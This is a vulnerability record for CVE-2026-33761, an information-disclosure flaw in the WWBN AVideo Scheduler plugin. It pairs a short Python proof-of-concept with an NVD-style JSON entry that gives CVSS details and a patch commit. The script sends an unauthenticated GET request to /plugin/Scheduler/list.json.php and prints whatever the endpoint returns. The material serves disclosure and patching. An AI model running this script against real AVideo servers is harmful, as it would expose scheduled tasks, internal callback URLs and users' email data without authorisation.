CVE-2026-33761

import requests def check_poc(target_url): """ PoC for CVE-2026-33761 Checks if the list.json.php endpoint is accessible without authentication. """ # Construct the full path to the vulnerable endpoint # The vulnerability exists in the Scheduler plugin vulnerable_path = "/plugin/Scheduler/list.json.php" full_url = target_url.rstrip('/') + vulnerable_path try: # Send a GET request without cookies or authentication headers response = requests.get(full_url, timeout=10) # Check if the response indicates success and contains JSON data if response.status_code == 200 and 'application/json' in response.headers.get('Content-Type', ''): print(f"[+] Target is vulnerable: {full_url}") print(f"[+] Response content:\n{response.text}") else: print(f"[-] Target does not appear to be vulnerable or endpoint is not found.") print(f" Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/avideo" check_poc(target)

{"cve": {"id": "CVE-2026-33761", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:58.223", "lastModified": "2026-03-31T18:38:39.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, three `list.json.php` endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (`add.json.php`, `delete.json.php`, `index.php`) requires `User::isAdmin()`. An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests. Commit 83390ab1fa8dca2de3f8fa76116a126428405431 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/83390ab1fa8dca2de3f8fa76116a126428405431", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j724-5c6c-68g5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}